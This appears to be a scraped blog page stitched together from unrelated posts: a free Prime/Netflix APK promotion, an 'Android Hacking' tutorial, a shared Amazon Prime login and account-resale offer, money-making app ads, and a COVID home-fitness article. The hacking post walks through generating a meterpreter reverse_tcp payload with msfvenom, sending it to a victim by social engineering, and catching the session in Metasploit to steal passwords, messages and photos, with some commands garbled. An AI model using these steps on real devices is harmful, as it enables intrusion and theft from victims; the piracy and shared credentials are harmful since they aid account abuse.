Watch prime and netflix for free

POCKET TV

if you want to watch amazon prime and netflix for free so  you should download this apk for  your mobile as well as  you can mirror  it on pc or laptop

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Hack ANDROID

Android Hacking

here we will guide you how to hack an android devices by sending an payload or a file. with this method you can steal their passwords,personal messages,photos and even you can control their webcam and record video.

so let's begin..

1:) firstly you should install termux on your mobile from playstore

   

2:) then install metasploit on your termux (watch any video how to install metasploit on termux)

3:)type  termux-setup-storage and then type apt-get install nano

4:)cd storage

5:)then paste this command (msfvenom -f raw -p php/meterpreter/reverse_tcp LHOST=(your ip address) LHOST=4455 press enter (after that copy all  the text starts from /* and then type nano newfile.php press enter then paste the text over there then you have to press ctrl+x then enter now you can get file in your storage names as newfile.php) 

6:)(firstly type chmod +x * and press enter) now send this file to your target with social engineering trick

7:) now type clear and then type msfconsole it will take some time to start.

8:) when msf starts then type use exploit multi/handler press enter

9:) then type set payload php/meterpreter/reverse_tcp press enter

10:) then type set lhost (the ip address you given before) press enter.

11:) then type set lhost 4455 press enter

12:) then type exploit when ever your target will open the file your meterpreter session will start

13:) after it starts type help then you will get your commands. now control  over them

note:- this is for educational purpose.

ANY QUERIES PLEASE COMMENT FOR HELP

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free account for amazon prime

See your luck 

 here i posted only one free account of amazon prime with one month subscription  

please leave the comment who  got  the  account

email:- getprimenow@protonmail.com
pass: paytm50now

for others who want to get free account can message me on whatsapp or instagram 

for insta click here    for whatsapp:- +1 (365)6510016   save  the number and message me

 

Amazon Prime Account Free

Get Prime

you want to get a amazon prime account but its monthly subscription is of rs.129 an for 3months its rs.329.

but here i am providing you personal amazon prime account to you for rs.50 only with monthly subscription

instagram

you can whatsapp me to get the account:- +1 (365) 651-0016

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Army Training Sekhon Academy Sangrur

hey here if you are trying to get selected in indian army its a better opportunity for you with a best coach.

instagram:- click here 

 
here you can get information from the poster provided below 

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Earn Cash Online (Quarantine)

while seeing the effect and boring days we come here with one website and two application from where you can  make  money while sitting at your home. so lets begin!!

1)Winzo

 its app where you can play games and lend your money to others and get double back
here you can earn serious amount of money if you try.

download winzo apk

2) PayBox

this the website and another way to earn paytm cash here you also have to play games and earn money and you will also find further ways after using this website.

 PayBox

3)InterVideos

intervideos is an another application from where you can earn money while watching videos and by doing simple tasks you will get spinning wheel from where you get coins and convert them into cash.
 

Download InterVideos

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Stay Fit In Quarantine.

Note:- for online training with cheapest rates mail or follow us on instagram

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A third of humanity is now under lockdown. This measure is crucial to minimise the spread of COVID-19, but what impact will it have on health and wellbeing?

Research shows that being sedentary is bad for your physical and mental health, so staying active during this difficult time is important. Being physically active helps lower blood pressure and cholesterol and can significantly reduce the risk of heart disease, stroke and diabetes. It also helps maintain muscle mass and bone density, reducing the risk of developing sarcopenia (loss of muscle mass) and osteoporosis (loss of bone density).

Physical activity also helps to keep your immune system working effectively as it flushes bacteria from the lungs and airways, increases white blood cell circulation and raises body temperature, all of which help the body fight infection.

As well as the physical health benefits, keeping active is a great way to ward off some of the psychological issues associated with being cooped up for an extended time. Being active helps lower stress hormones such as cortisol and promotes the release of feel-good hormones, such as endorphins.

Many people exercise in a gym or go for a run in a local park, so being forced to spend long periods of time at home is going to pose a challenge for remaining active. So what can we do to ensure we make the most of the situation and keep ourselves fit and healthy?

First, if you are not in self-isolation and are allowed to venture outside (as people in the UK can, but just once day), then regular walking, running or cycling is a great way to stay active. Just be sure to keep a distance of six feet (two metres) away from other people.

 

home workout click here

Improvise

But even if you’re stuck at home, there are ways you can stay active and continue your workout routine – and some of these require very little or no equipment. If you are lucky enough to own an exercise bike or treadmill, then you will already be accustomed to this in-house way of keeping fit. But if these are not possible then any activity that raises the heart rate is good for cardiovascular health.

Try walking briskly around the house or up and down the stairs. And stand or walk around when you’re on the phone, rather than sitting down. Dancing is also a great way to keep active, especially with children, so putting on some music for ten to 15 minutes, two or three times each day can really contribute to the daily exercise quota.

Alternatively, you could dig out that old skipping rope from the garage, reengage with those long-forgotten fitness, yoga, tai chi or pilates DVDs, or use the many apps and YouTube videos promoting physical activity.

Resistance exercises can also help strengthen your muscles and improve your mobility. Some of these exercises can be performed using weights or resistance bands, but if you don’t have access to them, that shouldn’t stop you. Squats or sit-to-stands from a sturdy chair, push-ups against a wall or the kitchen counter, and lunges or single-leg step-ups on stairs are all great for those new to these kinds of exercises.

You could even put your tins of baked beans, bags of rice, bottled water or flour to good use. They make great dumbbell substitutes or, if you tie them up in a carrier bag, you have an improvised kettlebell.

If these items aren’t heavy enough for you, consider using the heaviest item in many households – your children. Safely, of course.